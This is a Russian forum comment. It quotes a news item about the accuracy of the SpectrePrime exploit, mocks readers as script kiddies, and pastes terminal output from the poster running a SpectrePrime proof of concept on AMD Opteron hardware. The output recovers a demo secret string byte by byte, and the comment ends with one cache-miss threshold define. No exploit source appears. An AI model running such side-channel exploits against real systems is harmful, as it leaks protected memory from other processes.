> Утверждается, что MeltdownPrime и SpectrePrime позволяют добиться большей точности воссоздания информации.
> Для демонстрации метода опубликован прототип эксплоита SpectrePrime, который при 100 тестовых запусках
> продемонстрировал точность работы 99.95%, в то время как точность классического эксплоита для уязвимости
> Spectre составляет 97.9%.Ну что, опеннетовские аналитики-скрипт-киддики, ниасилили? :)
pavel@amd64:/media/kernel/Exploits/Spectreprime-attack$ ./spectreprime
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffa18... Unclear: 0x54=T score=’963’ (second best: 0x4C=T score=761)
Reading at malicious_x = 0xffffffffffdffa19... Unclear: 0x68=h score=’942’ (second best: 0xDC=h score=772)
Reading at malicious_x = 0xffffffffffdffa1a... Unclear: 0x65=e score=’948’ (second best: 0xA4=e score=717)
Reading at malicious_x = 0xffffffffffdffa1b... Unclear: 0x20= score=’975’ (second best: 0xA4= score=754)
Reading at malicious_x = 0xffffffffffdffa1c... Unclear: 0x4D=M score=’979’ (second best: 0xA4=M score=754)
Reading at malicious_x = 0xffffffffffdffa1d... Unclear: 0x61=a score=’918’ (second best: 0xA4=a score=779)
Reading at malicious_x = 0xffffffffffdffa1e... Unclear: 0x67=g score=’943’ (second best: 0xA4=g score=733)
Reading at malicious_x = 0xffffffffffdffa1f... Unclear: 0x69=i score=’983’ (second best: 0xDC=i score=765)
Reading at malicious_x = 0xffffffffffdffa20... Unclear: 0x63=c score=’975’ (second best: 0xDC=c score=767)
Reading at malicious_x = 0xffffffffffdffa21... Unclear: 0x20= score=’929’ (second best: 0x14= score=787)
Reading at malicious_x = 0xffffffffffdffa22... Unclear: 0x57=W score=’970’ (second best: 0xDC=W score=741)
Reading at malicious_x = 0xffffffffffdffa23... Unclear: 0x6F=o score=’980’ (second best: 0xDC=o score=746)
Reading at malicious_x = 0xffffffffffdffa24... Unclear: 0x72=r score=’978’ (second best: 0xDC=r score=775)
Reading at malicious_x = 0xffffffffffdffa25... Unclear: 0x64=d score=’956’ (second best: 0xDC=d score=731)
Reading at malicious_x = 0xffffffffffdffa26... Unclear: 0x73=s score=’962’ (second best: 0xA4=s score=732)
Reading at malicious_x = 0xffffffffffdffa27... Unclear: 0x20= score=’981’ (second best: 0xDC= score=733)
Reading at malicious_x = 0xffffffffffdffa28... Unclear: 0x61=a score=’975’ (second best: 0xDC=a score=734)
Reading at malicious_x = 0xffffffffffdffa29... Unclear: 0x72=r score=’959’ (second best: 0xA4=r score=751)
Reading at malicious_x = 0xffffffffffdffa2a... Unclear: 0x65=e score=’981’ (second best: 0xDC=e score=743)
Reading at malicious_x = 0xffffffffffdffa2b... Unclear: 0x20= score=’969’ (second best: 0x14= score=737)
Reading at malicious_x = 0xffffffffffdffa2c... Unclear: 0x53=S score=’975’ (second best: 0xDC=S score=761)
Reading at malicious_x = 0xffffffffffdffa2d... Unclear: 0x71=q score=’978’ (second best: 0xDC=q score=781)
Reading at malicious_x = 0xffffffffffdffa2e... Unclear: 0x75=u score=’976’ (second best: 0xDC=u score=800)
Reading at malicious_x = 0xffffffffffdffa2f... Unclear: 0x65=e score=’982’ (second best: 0x4C=e score=757)
Reading at malicious_x = 0xffffffffffdffa30... Unclear: 0x61=a score=’900’ (second best: 0xA4=a score=763)
Reading at malicious_x = 0xffffffffffdffa31... Unclear: 0x6D=m score=’964’ (second best: 0xA4=m score=736)
Reading at malicious_x = 0xffffffffffdffa32... Unclear: 0x69=i score=’961’ (second best: 0xDC=i score=754)
Reading at malicious_x = 0xffffffffffdffa33... Unclear: 0x73=s score=’979’ (second best: 0x14=s score=759)
Reading at malicious_x = 0xffffffffffdffa34... Unclear: 0x68=h score=’975’ (second best: 0xA4=h score=751)
Reading at malicious_x = 0xffffffffffdffa35... Unclear: 0x20= score=’972’ (second best: 0xA4= score=747)
Reading at malicious_x = 0xffffffffffdffa36... Unclear: 0x4F=O score=’913’ (second best: 0xA4=O score=764)
Reading at malicious_x = 0xffffffffffdffa37... Unclear: 0x73=s score=’866’ (second best: 0xA4=s score=747)
Reading at malicious_x = 0xffffffffffdffa38... Unclear: 0x73=s score=’967’ (second best: 0xA4=s score=748)
Reading at malicious_x = 0xffffffffffdffa39... Unclear: 0x69=i score=’969’ (second best: 0xA4=i score=785)
Reading at malicious_x = 0xffffffffffdffa3a... Unclear: 0x66=f score=’986’ (second best: 0xA4=f score=736)
Reading at malicious_x = 0xffffffffffdffa3b... Unclear: 0x72=r score=’922’ (second best: 0xA4=r score=729)
Reading at malicious_x = 0xffffffffffdffa3c... Unclear: 0x61=a score=’975’ (second best: 0xA4=a score=766)
Reading at malicious_x = 0xffffffffffdffa3d... Unclear: 0x67=g score=’885’ (second best: 0xA4=g score=806)
Reading at malicious_x = 0xffffffffffdffa3e... Unclear: 0x65=e score=’911’ (second best: 0xA4=e score=812)
Reading at malicious_x = 0xffffffffffdffa3f... Unclear: 0x2E=. score=’890’ (second best: 0xA4=. score=812)
Вероятность 93.3%
2 x AMD Opteron(tm) Processor 438
#define CACHE_MISS_THRESHOLD (200)
